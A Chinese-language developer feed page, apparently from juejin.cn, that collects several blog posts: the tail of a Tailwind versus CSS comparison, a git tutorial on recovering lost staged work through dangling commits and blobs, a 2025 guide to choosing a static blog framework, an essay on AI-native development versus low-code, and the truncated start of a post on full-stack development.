  1. HTML 看起来乱七八糟:多个类名叠加在一起,让 HTML 看起来复杂且难以维护。

  2. 构建步骤繁琐:你需要一个构建工具链来处理 Tailwind,这对某些项目来说可能显得过于复杂。

  3. 调试困难:开发者工具中显示的类名多而杂,调试时很难快速找到问题所在。

  4. 不够可重用:Tailwind 的类名并不具备良好的可重用性,你可能会不断复制粘贴类,而不是通过自定义组件来实现复用。


纯 CSS 的优缺点


优点:



  1. 更干净的代码结构:HTML 和 CSS 分离,代码简洁易懂。

  2. 无构建步骤:只需简单的 <link> 标签引入样式表,轻松部署。

  3. 现代特性强大:2025 年的 CSS 已经非常强大,容器查询和 CSS 嵌套让你可以更加灵活地进行响应式设计。

  4. 自定义属性:通过 CSS 变量,你可以轻松实现全站的样式管理,改一个变量,所有样式立即生效。


缺点:



  1. 命名仍然困难:即使有 BEM 或 SMACSS 等方法,命名仍然是一项挑战。

  2. 保持一致性需要更多约束:没有像 Tailwind 那样的规则,纯 CSS 需要更多的自律来保持一致性。

  3. 生态碎片化:不同团队和开发者采用不同的方式来组织 CSS,缺少统一标准。

  4. 没有编辑器自动补全:不像 Tailwind,纯 CSS 需要手动编写所有的类名和样式。


到 2026 年,你该用哪个?


Tailwind 适合:



  • 使用 React、Vue 或 Svelte 等组件化框架的开发者

  • 需要快速开发并保证一致性的团队

  • 不介意添加构建步骤并依赖工具链的人


纯 CSS 适合:



  • 小型项目或静态页面

  • 喜欢简洁代码、分离 HTML 和 CSS 的开发者

  • 想要完全掌控样式并避免复杂构建步骤的人


两者结合:



  • 你可以在简单的页面中使用纯 CSS,在复杂的项目中使用 Tailwind 或两者结合,以此来平衡灵活性与效率。


真正值得关注的 2026 年趋势



  • 容器查询:响应式设计不再依赖视口尺寸,而是根据容器的尺寸进行调整。

  • CSS 嵌套原生支持:你可以直接在 CSS 中使用嵌套,避免了依赖预处理器。

  • Cascade Layers:这让你能更好地管理 CSS 优先级,避免使用 !important 来解决冲突。

  • View Transitions API:它让页面过渡更平滑,无需依赖 JavaScript。


这些新特性将极大改善我们的开发体验,无论是使用纯 CSS 还是借助 Tailwind。


结尾


不管是 Tailwind 还是纯 CSS,都有它们的优缺点。关键是要根据项目需求和个人偏好做出选择。
至于我:我喜欢纯 CSS,因为它更干净,HTML 更直观。但是如果项目需求更适合 Tailwind,那我也会使用它。
2026 年的开发趋势,将让我们有更多选择,让我们能够用最适合的工具解决问题,而不是纠结于某种工具是否“最好”。


作者:Moment
来源:juejin.cn/post/7568674364042330166
收起阅读 »

老板,我真干活了...

辛苦写了3天的代码,突然一下,全部消失了 我说我每次都git add .了,但是他就是消失了 你会相信我吗 这次真的跳进黄河都洗不清,六月都要飞雪了 一个安静的夜晚,主包正在和往常一样敲着代码,最后一个优化完成以后执行了git add . 看着长长的暂存...
继续阅读 »

辛苦写了3天的代码,突然一下,全部消失了


我说我每次都git add .了,但是他就是消失了


你会相信我吗


image.png





这次真的跳进黄河都洗不清,六月都要飞雪了


一个安静的夜晚,主包正在和往常一样敲着代码,最后一个优化完成以后执行了git add .


看着长长的暂存区,主包想是时候git commit -m


变故就发生在一瞬间,commit校验返回失败,伴随着电脑的终端闪烁了一下,主包的 所 有 改 动都消失了,文件内容停留在上次的提交...


老板,你相信我吗?我真的干活了


image.png


不过幸好,我的Gemini在我的指导下一步一步帮我把3天的劳动成果还原了,下面记录一下整个事件过程




首先。我已经执行了 git add .,这意味着 Git 已经将这些文件的内容以「blob 对象」的形式保存到本地 .git/objects 目录中,这些数据就不会凭空消失。


解决步骤

第一步:不要乱动

立即停止在仓库中执行任何覆写的操作!避免覆盖磁盘上的 blob 对象



  • ❌ 不要执行 git reset --hard/git clean -fd/git gc/git prune

  • ❌ 不要往仓库目录写入新文件


第二步:检查 Git 状态

git status查看当前暂存区的状态,如果暂存区有文件的话可以通过get checkout -- .进行恢复,可是我没有了,我的暂存区和我的脑袋一样空空


image.png


第三步:拉取悬空文件

如果 git status 显示「Working Tree Clean」,且 git checkout -- . 没效果,说明暂存区被清空,但 Git 仍保存了 git add 时的 blob 对象
需通过 git fsck --lost-fond 找回


该指令会扫描 .git/objects/ 目录,找出所有没有被任何分支/标签引用的对象,列出 悬空的 commits、blobs、trees(优先找最新的commit)


image.png


第四步:验证每个commit

执行 git show --stat <commit ID> 可以验证该悬空 commit 内容


image.png



  • 如果「提交信息 / 时间 / 作者」匹配你刚才中断的 commit → 这就是包含你所有改动的快照;

  • 如果显示 initial commit 或旧提交信息 → 这是历史悬空 commit,换列表里下一个时间最新的 commit ID 重试。


image.png



  • 这里会列出该 commit 中所有改动的文件路径 + 行数变化 → 如果能看到你丢失的文件(如 src/App.js),说明找对了;

  • 如果显示 0 files changed → 这个 commit 是空的,换其他 commit ID 重试。


第五步:恢复提交

方式 1:仅恢复文件到工作区(推荐,不修改 HEAD)


git checkout commitId -- .

方式 2:#### 直接将 HEAD 指向该 commit(完成提交)


    git reset --hard commitId // 等同于完成当时的 commit 操作



到这里基本就已经恢复了,可以check一下更改的文件,如果不全可以继续执行checkout进行恢复,如果已经完成了就尽快commit以防发生别的变故啦~


最后,还是简单讲解一下为什么优先恢复悬空commit,commit、tree、Blob的区别


核心结论先摆清楚


对象类型中文名称核心作用类比(便于理解)能否直接恢复你的文件?
Blob数据对象存储单个文件的内容(无路径)一本书里的某一页内容能,但需匹配原文件路径
Tree树对象存储目录结构(文件 / 子目录映射)一本书的目录(章节→页码)不能直接恢复,仅辅助找路径
Commit提交对象存储完整的提交快照(关联 tree + 作者 / 时间 / 信息)一本书的版本记录(含目录 + 修改说明)最优选择,一键恢复所有文件

一、逐个拆解:悬空 blob/commit/tree 到底是什么?


Git 仓库的所有内容(文件、目录、提交记录)最终都会被存储为「对象」,存放在 .git/objects 目录下;「悬空」意味着这些对象没有被任何分支 / 标签 / HEAD 引用(比如 commit 中断、reset 后、删除分支等),但只要没执行 git gc(垃圾回收),就不会消失。


1. 悬空 Blob(数据对象)—— 「只存内容,不管路径」



  • 本质:Git 中最小的存储单元,仅保存「单个文件的原始内容」,不包含文件名、路径、修改时间等信息;

  • 举例:你修改了 src/App.js 并执行 git add .,Git 会把 App.js 的内容打包成一个 blob 对象(比如你看到的 ec0529e46516594593b1befb48740956c8758884),存到 .git/objects 里;

  • 悬空原因:执行 git add 后生成了 blob,但 commit 中断 / 执行 git reset 清空暂存区,导致这个 blob 没有被 tree/commit 引用;

  • 恢复特点:能拿到文件内容,但不知道原文件路径(比如你只知道 blob 是一段 JS 代码,却不知道它原本是 src/App.js 还是 src/Page.js)。


2. 悬空 Tree(树对象)—— 「只存目录结构,不存内容」



  • 本质:描述「目录层级 + 文件映射关系」,相当于「文件路径 ↔ blob ID」的对照表,也能包含子 tree(对应子目录);

  • 举例:一个 tree 对象可能记录:


    src/ (子tree)  tree ID: bb0065eb...
    package.json blob ID: e90a82fe...
    src/App.js blob ID: ec0529e4...


  • 悬空原因:Tree 是 commit 的「子对象」,如果 commit 变成悬空(比如 reset 后),对应的 tree 也会悬空;

  • 恢复特点:仅能看到「哪些 blob 对应哪些路径」,但本身不存储文件内容,需结合 blob 才能恢复完整文件。


3. 悬空 Commit(提交对象)—— 「完整的提交快照」



  • 本质:Git 中最高级的对象,是「一次提交的完整记录」,包含:



    • 指向一个 root tree(根目录的 tree 对象)→ 能拿到整个项目的目录结构 + 所有 blob;

    • 作者、提交时间、提交信息;

    • 父 commit ID(如果是后续提交);



  • 举例:你执行 git commit -m "修改App.js" 时,Git 会生成一个 commit 对象,关联 root tree(包含所有文件路径 + blob),记录你的操作信息;

  • 悬空原因:commit 执行中断、git reset --hard 后原 HEAD 指向的 commit 无引用、删除分支后分支上的 commit 无引用;

  • 恢复特点:✅ 最优选择!通过一个 commit 对象,能一键恢复「该提交时刻的所有文件(路径 + 内容)」,不用手动匹配 blob 和路径。


二、为什么你该优先恢复「悬空 Commit」?


你之前执行了 git add . + 尝试 git commit,大概率 Git 已经生成了 commit 对象(只是没被 HEAD 引用,变成悬空)—— 恢复 commit 有 2 个核心优势:



  1. 一键恢复所有文件:commit 关联了 root tree,能直接拿到「所有文件的路径 + 对应的 blob 内容」,执行 git checkout <commit ID> -- . 就能把所有文件恢复到工作区,不用逐个处理 blob;

  2. 不用手动匹配路径:如果只恢复 blob,你需要逐个查看 blob 内容,再手动命名 / 放到原路径;而 commit 直接包含路径信息,恢复后文件路径和名称完全和丢失前一致。


三、实操场景:不同悬空对象该怎么用?


场景 1:有可用的悬空 Commit(优先选)


# 1. 找时间最新的悬空 commit
git fsck --lost-found | grep 'dangling commit' | awk '{print $3}' | while read c; do
echo "$c | $(git log -1 --format='%ai' $c)"
done | sort -k2 -r

# 2. 验证该 commit 包含你的文件
git show --stat <最新的commit ID>

# 3. 一键恢复所有文件到工作区
git checkout <commit ID> -- .

场景 2:只有悬空 Blob/Tree(无可用 Commit)


# 1. 先通过 tree 找「blob ID ↔ 文件路径」的映射
git ls-tree -r <tree ID> # 列出该 tree 下的所有文件路径+blob ID

# 2. 按路径恢复 blob 内容
git cat-file -p <blob ID> > <原文件路径> # 比如 git cat-file -p ec0529e4 > src/App.js

场景 3:只有悬空 Blob(无 Tree/Commit)


只能批量导出 blob,通过内容匹配原文件:


mkdir -p recover
for blob in $(git fsck --lost-found | grep 'dangling blob' | awk '{print $3}'); do
git cat-file -p $blob > recover/$blob
# 自动补文件后缀(如 .js/.json)
file_type=$(file -b --mime-type recover/$blob | awk -F '/' '{print $2}')
[ "$file_type" != "octet-stream" ] && mv recover/$blob recover/$blob.$file_type
done

四、关键提醒:避免悬空对象被清理


Git 的 git gc(垃圾回收)默认会清理「超过 14 天的悬空对象」,所以恢复前务必:



  1. 不要执行 git gc/git prune

  2. 恢复完成后,尽快执行 git commit 让对象被 HEAD 引用,避免后续被清理;

  3. 如果暂时没恢复完,可执行 git fsck --full 检查所有悬空对象,确认未被清理。


总结来说:优先找悬空 Commit(一键恢复)→ 其次用 Tree 匹配 Blob 路径 → 最后批量导出 Blob 手动匹配,这是最高效的恢复路径


作者:呵阿咯咯
来源:juejin.cn/post/7581678032336519210
收起阅读 »

2025博客框架选择指南:Hugo、Astro、Hexo该选哪个?

web
引言 2025年了,想搭个博客,在Hugo、Hexo、Astro之间纠结了一周,还是不知道选哪个? 我完全理解这种感受。去年我也在这几个博客框架之间来回折腾,看了无数对比文章,最后发现大部分都是2022-2023年的过时内容。性能数据变了、框架更新了、生态也不...
继续阅读 »

Gemini_Generated_Image_c4yo85c4yo85c4yo.jpg


引言


2025年了,想搭个博客,在Hugo、Hexo、Astro之间纠结了一周,还是不知道选哪个?


我完全理解这种感受。去年我也在这几个博客框架之间来回折腾,看了无数对比文章,最后发现大部分都是2022-2023年的过时内容。性能数据变了、框架更新了、生态也不一样了。每次看完一篇文章就更纠结,到底该听谁的?


更让人崩溃的是,深夜折腾博客配置,第二天还要上班。花了三个月研究框架,结果一篇文章都没写出来。这种感觉,相信你也经历过。


这篇文章基于2024-2025年最新数据,用真实的构建时间测试、实际的使用体验,帮你在5分钟内做出最适合的选择。不是告诉你"哪个最好",而是"哪个最适合你"。


我会用9大框架的最新性能对比、3分钟决策矩阵,帮你避免90%新手会踩的坑。说实话,早点看到这篇文章,我能省好几周时间。


为什么2025年还在聊博客框架?


静态博客真的还有必要吗?


老实讲,我一开始也觉得搭博客是个过时的想法。但用了一年多,真香。


静态博客和WordPress这类动态博客的本质区别,就是"提前做好"和"现场制作"的区别。静态网站生成器(SSG)会在你写完文章后,就把所有页面生成好,像做批量打印一样。访客来了直接看成品,速度飞快。WordPress这类动态博客呢,每次有人访问就现场从数据库拉数据、拼装页面,就像现场手工做菜。


为什么静态博客成为主流趋势?


说白了就是:快、便宜、不用操心服务器。


WordPress需要租服务器,一个月怎么也得几十块钱起步。静态博客呢?GitHub Pages、Vercel、Cloudflare Pages全都免费托管。我现在博客一年花费0元,连域名都是之前买的。


性能上更没得比。静态页面的Lighthouse评分能轻松拿到95+,WordPress想到90分都费劲。用户打开页面,一眨眼就加载完了,这种体验真的会让人爱上写博客。


那什么时候该选动态博客?


也不是说静态博客就天下无敌。如果你要做复杂的功能,比如:



  • 多人协作发布(需要后台管理)

  • 电商集成(要处理支付、订单)

  • 复杂的用户系统(评论、权限管理)


这些场景,WordPress或者Ghost确实更合适。但老实说,大部分个人博客和技术博客,真用不到这些。


一句话总结:个人博客、技术文档、作品展示,选静态博客框架准没错。需要复杂功能、多人协作,才考虑动态博客。


性能对决 - 谁是速度之王?


性能这块,说实话是我最关心的。刚开始用Gatsby的时候,每次改一点内容,重新构建等十几分钟,真的想砸电脑。


构建速度:差距大到惊人


先说结论:Hugo是速度之王,没有之一


看看这组2024年的实测数据:


| 框架 | 构建10000页用时 | 平均每页速度 |


|------|----------------|-------------|


| Hugo | 2.95秒 | <1ms |


| Hexo | 45秒(1000页) | ~45ms |


| Jekyll | 187.15秒 | ~18ms |


| Gatsby | 30分钟+ | ~180ms |


第一次看到Hugo的构建速度,真的惊到我了。10000篇文章,不到3秒!这意味着啥?你改个标题、修个错别字,按个保存,页面刷新,博客就更新完了。这种即时反馈,爽到飞起。


Hexo呢,中型博客(100-1000文章)表现也挺不错。我之前300篇文章的博客,15秒就构建完成,完全够用。


Gatsby...嗯,别提了。我用它做过一个项目,200多篇文章,每次构建5分钟起步。后来文章多了,直接放弃了。


页面加载速度:Astro异军突起


2024年Astro成了最大黑马。根据HTTP Archive的数据:



  • Astro:中位传输大小889KB(最轻)

  • Hugo:1,174KB(平衡不错)

  • Next.js:1,659KB(功能多,体积大)


Astro的"零JavaScript默认"策略真的厉害。页面只加载必要的JS,不像其他框架,把整个React/Vue库都塞给用户。结果就是,页面打开速度飞快,用户体验特别好。


实际项目表现:别只看数字


老实讲,如果你博客不到100篇文章,选啥框架都差不多。几秒和十几秒的区别,你感受不出来。


但如果你计划长期写作,文章会越来越多,提前选个性能好的框架,能省很多麻烦。我见过太多人,开始用了Gatsby,写到500篇文章,构建慢到受不了,迁移框架,那个痛苦...


推荐组合



  • 小型博客(<100文章):随便选,都够用

  • 中型博客(100-1000文章):Hugo、Hexo、Astro

  • 大型站点(1000+文章):闭眼选Hugo


开发体验 - 哪个最好用?


性能再好,用起来糟心,也是白搭。


学习曲线:新手别踩坑


说实话,Hugo的Go模板语法,我当初学了好久才上手。那些{{ range }}{{ with }}的语法,刚开始真的看懵了。虽然性能无敌,但新手上来就选Hugo,可能会被劝退。


新手友好度排名



  1. Hexo(最友好):Node.js生态,中文文档多到看不过来。配置就是一个_config.yml文件,改几个参数就能跑起来。我当时半小时就搭好了第一个博客。

  2. Jekyll(友好):Ruby生态,官方文档写得特别清楚,按着步骤来不会错。GitHub Pages原生支持,push一下就自动部署。

  3. VuePress(需要前端基础):如果你会Vue,上手很快。不会的话,还得先学Vue,成本就高了。

  4. Gatsby/Next.js(陡峭):要懂React、GraphQL,配置复杂。我看到配置文件就头大。


我的建议:如果你和我一样是Node.js开发者,Hexo真的是顺手。装个npm包,改改配置,半小时搞定。前端技术栈是React?那Astro或Next.js更合适。别纠结了,新手就选Hexo,错不了。


配置和自定制:平衡艺术


Hexo和Jekyll的配置简单直接,一个YAML文件搞定。但也有缺点:想做复杂定制,就得深入源码改,不太灵活。


Gatsby的灵活性确实强,GraphQL数据层可以接各种数据源。但坦白说,个人博客真用不到那么复杂的功能。就像买了辆跑车在市区开,性能过剩了。


Astro走了个中间路线,既灵活又不复杂。支持多框架(React、Vue、Svelte随便混),但配置没那么吓人。这种平衡感,我挺喜欢的。


开发工具和调试


现代框架在开发体验上真的吊打老框架。


Vite驱动的Astro和VuePress,热重载快到飞起。改个内容,不到1秒页面就更新了。Webpack那套老架构,等待时间能让人发呆。


Hugo虽然是传统框架,但速度快,改完刷新也很即时。这点体验还不错。


生态系统 - 主题与插件谁更丰富?


框架再好,没主题也白搭。谁想从零开始写CSS啊。


主题生态:Hexo中文世界称王


Hexo真的是中文博客的天选之子。200+中文主题,风格各异,总有一款适合你。我用的那个主题,中文文档详细到连怎么改字体颜色都写得清清楚楚。


Hugo主题虽然有300+,但质量参差不齐。有些特别精美,有些就是demo级别。很多主题文档是英文的,踩坑全靠自己摸索。


Jekyll作为老牌框架,主题数量最多,但很多都是好几年前的设计风格了,看着有点过时。


Gatsby和Astro的主题,走的是现代化路线,设计感很强。如果你追求视觉效果,这两个不错。


插件和扩展能力


Jekyll的插件生态最庞大,毕竟历史最久。想要啥功能,基本都能找到插件。


Gatsby依托npm生态,插件也超级丰富。但很多插件其实是为商业项目设计的,个人博客可能用不上。


Hexo插件生态在Node.js圈很成熟,常用的评论、搜索、SEO优化,都有现成插件。我装了七八个插件,没遇到过兼容问题。


社区活跃度:看数据说话


2024-2025年的数据挺有意思:



  • Astro:增长最快,npm下载量2024年9月达到300万。Netlify调查显示,它是2024年开发者关注度最高的框架。

  • Hugo:GitHub星标6万+,稳定增长,老牌强者。

  • Hexo:中文社区最活跃,知乎、掘金、CSDN到处都是教程。


说实话,社区活跃度对新手很重要。遇到问题,能搜到中文解决方案,省太多时间了。


部署与SEO - 上线才是王道


博客搭好了,不上线有啥用?


部署平台:全都免费真香


现在部署静态博客,真的太简单了。


GitHub Pages:Jekyll原生支持,push代码就自动部署。其他框架需要配个GitHub Actions,也就多写几行配置,5分钟搞定。


Vercel/Netlify:这俩是我最推荐的。拖个仓库进去,自动识别框架,自动构建部署。都有免费额度,个人博客完全够用。我现在用的Vercel,一年没花过一分钱。


Cloudflare Pages:性能特别好,CDN全球分布。免费额度也很大,速度比GitHub Pages快不少。


老实讲,2025年部署静态博客,已经没有技术门槛了。真的,比你想象的简单。


SEO:静态博客天生优势


所有静态博客框架,SEO都友好。为啥?生成的都是纯HTML,搜索引擎最爱这个。


区别在于细节:



  • Hugo和Jekyll:成熟稳定,sitemap、RSS自动生成,SEO基础功能齐全。

  • Astro和Next.js:在现代SEO实践上更领先,支持更细致的元数据管理,结构化数据也更方便。

  • Hexo:通过插件实现SEO功能,也挺完善,中文SEO教程多。


说白了,只要你写好内容、优化好关键词、页面结构合理,用哪个框架SEO都不会差。别太纠结这个。


长期维护成本:别选冷门框架


这个坑我踩过。之前用过一个小众框架,开始挺好,半年后发现作者不更新了。后来依赖库升级,博客直接跑不起来,迁移框架花了整整一周。


低维护框架:Hugo、Jekyll。成熟稳定,基本不会出幺蛾子。我Hugo博客跑了一年多,一次问题都没遇到。


需要关注更新:Gatsby、Next.js。依赖多,更新频繁,偶尔会遇到breaking changes。如果你不想经常折腾,慎选。


平衡选手:Astro、Hexo。更新有节制,兼容性做得不错。


决策框架 - 如何选择最适合你的?


好了,前面说了这么多数据和对比,到底该怎么选?


3分钟快速决策矩阵


别想太多,回答三个问题:


问题1:你的技术栈是什么?



  • 熟悉Node.js → Hexo(新手)/ Astro(追求现代化)

  • React开发者 → Gatsby(重型)/ Astro(轻量)/ Next.js(全栈)

  • Vue开发者 → VuePress(博客+文档)/ Gridsome

  • 技术栈不限 → Hugo(性能第一)/ Jekyll(求稳)


如果你和我一样是Node.js开发者,Hexo真的顺手。装个npm包,改改配置,半小时搞定。


问题2:你的项目规模是多大?



  • <100文章 → 随便选,性能差异你感受不出来

  • 100-1000文章 → Hugo(快)/ Hexo(够用)/ Astro(现代)

  • 1000+文章或大型文档站 → Hugo(一骑绝尘,没得比)


我现在500多篇文章,用的Hexo,45秒构建完成,完全够用。如果文章继续增长到1000+,可能会换Hugo。


问题3:你的经验水平如何?



  • 新手 → Hexo(中文资源多)/ Jekyll(文档友好)

  • 前端开发者 → Astro(现代化体验)/ VuePress(Vue技术栈)

  • 性能极客 → Hugo(速度无敌,值得学Go模板)

  • 求稳用户 → Jekyll(GitHub原生支持,最省心)


典型场景具体推荐


个人技术博客



  • 中文用户:Hexo(生态强,主题多)

  • 国际化:Hugo(性能好,英文资源丰富)

  • 追求现代化:Astro(体验好,性能也不错)


技术文档站点



  • Docusaurus(Facebook出品,专为文档设计)

  • VuePress(Vue生态,中文支持好)


大型内容站点



  • Hugo(1000+页面,只有它能扛住)


现代化项目网站



  • Astro(灵活性+性能的最佳平衡)

  • Next.js(需要动态功能时选它)


我的真实建议


说实话,别再纠结了。我见过太多人花三个月研究框架,一篇文章没写。框架真的只是工具,内容才是核心。


选择建议



  • 90%的人:选Hexo或Hugo,够用了

  • 前端开发者:Astro值得尝试,体验很现代

  • 新手怕选错:Hexo,中文教程多到看不完,遇到问题都能搜到答案

  • 性能焦虑症患者:闭眼选Hugo,速度真的无敌


记住:框架可以迁移(内容都是Markdown,搬家成本不高),但荒废的时间回不来。先选一个动起来,边用边优化,这才是正道。


避坑指南与最佳实践


最后说说那些大坑,我替你踩过了。


5个常见错误


错误1:过度追求完美框架,迟迟不开始


这个坑我踩得最深。当年对比了两个月框架,看了几十篇文章,结果还是不确定。后来一个前辈跟我说:"先选一个动起来,框架不满意可以换,但浪费的时间回不来。"


说白了,内容才是博客的核心,框架只是工具。没有完美的框架,只有最适合当下的选择。


错误2:只看主题外观,忽略框架本质


看到某个Hugo主题特别炫酷,就选了Hugo。结果发现Go模板语法学不会,自定义主题难如登天。最后用了半年,还是换回Hexo。


主题可以定制、可以换,但框架的性能、生态、维护性,这些本质特性才是长期影响你的因素。


错误3:新手直接上Gatsby/Next.js被劝退


我一朋友,刚学前端,听说Gatsby牛逼,直接上手。结果GraphQL不会、React不熟、配置看不懂,折腾两周直接放弃了。


老实说,Gatsby和Next.js真的不适合新手。它们是给有经验的开发者准备的工具。新手想快速上线博客,Hexo或Jekyll才是正确选择。


错误4:忽略长期维护成本


选了个冷门框架,一开始挺好,半年后作者不更新了。依赖库升级,博客跑不起来。迁移框架,痛苦得要死。


看框架选择的三个指标



  • GitHub更新频率(至少每月有commit)

  • 社区规模(遇到问题能找到人问)

  • 中文资源(新手必看,能省80%时间)


错误5:花80%时间折腾框架,20%写内容


我见过太多人,陷入"完美主义陷阱"。CSS改来改去、插件装了卸卸了装,就是不写文章。


记住80/20法则:80%精力写内容,20%折腾框架。够用就好,别追求极致完美。


框架迁移建议


万一真选错了,想换框架怎么办?


其实没那么可怕。所有静态博客框架,内容都是Markdown,迁移成本不高。我从Hexo迁移到Hugo,内容迁移只花了1小时。主要是配置和主题要重新搞,但也就半天时间。


迁移原则



  • 先有后优:快速上线 > 完美配置

  • 内容优先:写够50篇文章再考虑迁移,不然没必要

  • 不影响SEO:做好301重定向,URL结构尽量保持一致


2025年趋势展望


根据2024-2025的数据和社区动向,我预测:



  • Astro会继续增长:岛屿架构是未来趋势,零JavaScript默认太香了

  • Hugo保持性能王者地位:大型站点没得选

  • Hexo中文生态持续稳定:中文博客的首选不会变

  • 传统框架逐步被取代:Jekyll虽然稳定,但新项目会越来越少


但说实话,趋势只是参考。选框架还是要看自己的需求和技术栈。


结论


回到最开始的问题:2025年博客框架该怎么选?


一句话总结



  • 新手首选:Hexo(中文资源丰富,主题多,上手快)

  • 前端开发者:Astro(性能+灵活性的最佳平衡,现代化体验)

  • 性能极客:Hugo(速度无敌,适合大型站点)

  • 文档站点:Docusaurus/VuePress(专为文档设计)

  • 求稳:Jekyll(GitHub原生支持,最省心)


但老实讲,选择框架只需要5分钟,写好内容需要一辈子


别再纠结了。选一个顺手的,开始行动吧。写第一篇文章,比研究框架重要一百倍。


我当初纠结了两个月,现在回头看,那段时间完全是浪费。早点开始写,现在可能已经有200篇文章了。


行动建议



  1. 根据上面的决策矩阵,花5分钟选一个框架

  2. 找个主题,1小时搭好环境

  3. 写第一篇文章,哪怕只有500字

  4. 发布上线,享受成就感


记住:框架不重要,内容才重要。够用就好,专注写作。


评论区说说你的选择和理由?我很好奇大家最后都选了什么。如果有问题,我会尽量回复的。



本文首发自个人博客



作者:技术更好说
来源:juejin.cn/post/7578714735307849754
收起阅读 »

为什么说低代码谎言的破灭,是AI原生开发的起点?

几年前,公司老板、产品经理,甚至隔壁行政的同事,都拿着一份花里胡哨的低代码方案,眼睛放光地跟你说:“小张啊,你来看看,未来!拖拉拽就能上线,咱们再也不用养那么多程序员了!” 我当时啥心情?表面上“嗯嗯嗯,是是是,很有前景”,心里一万头羊驼在奔腾。你懂个锤子啊,...
继续阅读 »

几年前,公司老板、产品经理,甚至隔壁行政的同事,都拿着一份花里胡哨的低代码方案,眼睛放光地跟你说:“小张啊,你来看看,未来!拖拉拽就能上线,咱们再也不用养那么多程序员了!”


我当时啥心情?表面上“嗯嗯嗯,是是是,很有前景”,心里一万头羊驼在奔腾。你懂个锤子啊,我一直认为它是解决了一类问题,引入了一大堆的复杂。


这玩意儿的核心是啥?说白了,就是想用一套“万能模板”去解决所有问题。听着是挺美,但咱都是写代码的,你心里清楚,软件开发最难的,从来不是那几行CRUD,而是那些“该死”的个性化业务逻辑。认同?!


低代码,本质上就是把这些逻辑,从代码文件里,挪到了一堆图形化的配置框里。你以为是解放了生产力?扯淡。你只是换了个地方“坐牢”。





从“卧槽,牛逼”到“卧槽,什么玩意儿”


AI写代码一段时间,比如Cursor、Claude Code、codex这些,我当时的第一反应是:“卧-槽,牛-逼!”


你跟它说:“帮我写个用户登录接口,用JWT,密码要bcrypt加密,加上参数校验。”


唰一下,代码出来了。连注释都给你写得明明白白。那一瞬间,真有种未来已来的感觉。


这不就是低代码想干但没干成的事儿吗?


低代码是给你一堆乐高积木,说:“来,你自己拼个宇宙飞船。” 你吭哧吭哧拼了半天,发现给你的零件根本就不够,而且拼出来的玩意儿四不像,还飞不起来。


AI原生开发是啥?你直接跟管家说:“多啦 A 梦,给我造个能飞的玩意儿,要快,要帅。” 贾维斯直接给你把图纸、零件、引擎全整出来了。你只需要当那个总设计师,告诉它你的“意图”,然后去检查、微调。


你品,你细品。一个让你当“拼装工”,一个让你当“设计师”。格局一样吗?


我为啥突然这么大感触?老黄-全栈工程师,前阵子接了个项目,有个模块特别急。按老路子,前端画页面、后端写接口、联调... 怎么也得一周吧?


他说他用Claude Code,把需求拆成几个点,啪啪啪跟AI对话。
“给我个Vue3+TS的表格页,能分页,能搜索,数据接口是/api/users
“后端用Go写这个接口,连PostgreSQL,把分页逻辑做了。”
“加个逻辑,角色是admin才能看到删除按钮。”


一下午,真的,就一个下午,他说,一个带前后端的完整功能雏形就出来了。代码质量还不低,结构清晰,拿过来改改就能用。


而用低代码呢?他说他可能还在研究那个破平台的“数据源”到底该怎么连,或者某个组件的某个奇葩属性到底藏在哪个配置项里。那种抓狂,谁用谁知道。


我想,老黄的这种感觉你肯定有过,如果可以选择,你会选择用地代码去拖拉拽吗?我想大概率你是不会了,回不去了。




别跟我扯什么“AI搞不定复杂逻辑”


我知道,肯定有人会跳出来说:“哥们,你这是偷换概念!简单的CRUD当然AI快,你让AI搞个复杂的风控引擎试试?”


每次听到这话,我就想笑。


兄弟,你是不是忘了我们现代软件架构的核心思想是啥了?高内聚、低耦合!


一个复杂的系统,不就是一堆简单的、正交的子系统组合起来的吗?你告诉我,哪个“复杂业务逻辑”是不能拆解的?如果不能,那不是AI的问题,是你的架构设计有问题。


领域驱动设计(DDD)讲了这么多年,不就是为了把业务模型理清楚,把边界划分明白吗?


在AI原生时代,架构师的核心能力,不再是堆砌代码,而是精准地拆解问题,然后把拆解后的子问题清晰地描述给AI。


低代码平台最大的死穴就在这儿。它试图用一个大而全的“黑箱”包办一切,结果就是耦合度极高。你想改其中一根“毛细血管”,可能得把整个“心脏”都停了。这种系统,业务稍微一变,就得推倒重来,维护成本高到让你怀疑人生。我亲眼见过一个团队,被他们选的低代码平台折磨得死去活-来,最后整个项目烂尾。


AI生成的代码呢?那是“白箱”。清清楚楚的源代码,你想怎么改就怎么改,想怎么扩展就怎么扩展。这才是咱们工程师该有的掌控感!




所以,有人焦虑了?


聊到这,估计有些年轻的哥们儿开始焦虑了:“老哥,照你这么说,以后是不是不用写代码了?我们都要被AI干掉了?”


我说:慌啥。


AI不是来取代你的,是来升级你的工具箱的。,取带你的是那些用 AI 比你用得更深,更好的人。人家都开车了,你还走路,你搁那怪谁呢?


低代码,是想把你变成一个“组件配置工程师”,说实话,这玩意儿真没啥技术含量,他无非就是把一些固化的规则和业务组件放在了一个系统中,让你去组合,去连接,也确实容易被替代。


但AI原生开发,对人的要求,其实是更高了。


你需要有更强的架构能力,去拆解复杂问题。
你需要有更强的业务理解能力,去把需求转化成清晰的指令。
你需要有更强的代码审美,去判断AI生成的代码是“精品”还是“垃圾”。


说白了,AI帮你干了那些重复、枯燥的体力活,让你能把全部精力,都放在 “思考” 这个最有价值的事情上。




写在最后,一点不成熟的牢骚


我也不知道这股风会刮多久,技术这玩意儿,日新月异。今天你觉得牛逼的东西,明天可能就是一堆垃圾。


AI 原生开发,它不是一个工具的改变,更像是一种“思维范式”的革命。它在逼着我们从“如何实现”的工匠思维,转向“做什么、为什么做”的创造者思维。


低代码的时代,可能还没开始,就已经结束了。它只是一个过渡期的妥协品,一个想走捷径但最终掉进坑里的解决方案。


至于未来会怎么样?我也不知道。可能我们以后写的不是代码,而是“提示词”;面试考的不是算法,而是你跟AI“对话”的能力。


谁说得准呢?


反正我是已经把主力开发工具换成cursor、Claude Code、codex 这些了。一边写,一边让AI帮我优化,或者干脆让它写大段的模板代码,这感觉,真挺爽的。


当然,这都是我个人的一点看法,不一定对,欢迎来杠。评论区聊聊?


作者:老码小张
来源:juejin.cn/post/7551214653553066019
收起阅读 »

“全栈模式”必然导致“质量雪崩”!和个人水平关系不大

在经济下行的大背景下,越来越多的中小型企业开始放弃“前后端分离”的人员配置,开始采用“全栈式开发”的模式来进行研发费用的节省。 这方法真那么好吗? 作为一名从“全栈开发”自我阉割成“前端开发”的逆行研发,我有很多话想说。 先从一个活生生的真实案例开始吧。 我...
继续阅读 »

